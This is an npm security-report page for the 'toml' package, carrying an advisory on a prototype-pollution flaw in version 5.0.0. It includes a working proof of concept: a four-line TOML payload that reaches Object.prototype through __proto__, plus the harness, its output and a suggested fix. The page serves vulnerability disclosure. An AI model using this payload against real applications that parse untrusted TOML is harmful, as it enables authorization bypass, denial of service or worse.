npm package report

Is tome safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


      cvss
      7.5
      high

      severity band, no base score published

      epss
      0.32%
      low

      chance of exploitation in 30 days, 23rd percentile of all CVEs

      xyz score
      3.3
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-h895-cgqg-jf52, the advisory selected below

      // 1 advisories

      GHSA-h895-cgqg-jf52

      HIGHGitHub ratingCVE-2026-114142
      // summary

      CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.

      A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.

      // details

      Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.

      1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:

      287:  function quoteDottedString(str) {
      288:    if (str.indexOf(".") > -1) {
      289:      return "\"" + str + "\"";
      290:    } else {
      291:      return str;
      292:    }
      293:  }

      So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.

      2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.

      3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:

       93:      target = target[k];
      ...
      103:    target[lastKey] = reduced;

      A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.

      Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.

      mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
      # poc.toml
      "b.c" = 1979-05-27T07:32:00Z
      [['"b']]
      ["b.c"]
      __proto__.__proto__.polluted = "yes"

      Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.

      // poc.js
      const toml = require('toml');
      const fs = require('fs');
      
      console.log('before:', JSON.stringify(({}).polluted));
      toml.parse(fs.readFileSync('poc.toml', 'utf8'));
      console.log('after: ', JSON.stringify(({}).polluted));
      console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
      console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
      $ node poc.js
      before: undefined
      after:  "yes"
      Object.prototype.hasOwnProperty("polluted") = true
      JSON.parse("{}").polluted = "yes"

      The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.

      A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.

      // impact

      Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.

      Suggested fix: in assign(), apply the same check the intermediate descent already uses — after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.


      Checked 2026-10-24 at 20:09 UTC. The most recent advisory here was published 2026-10-22. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.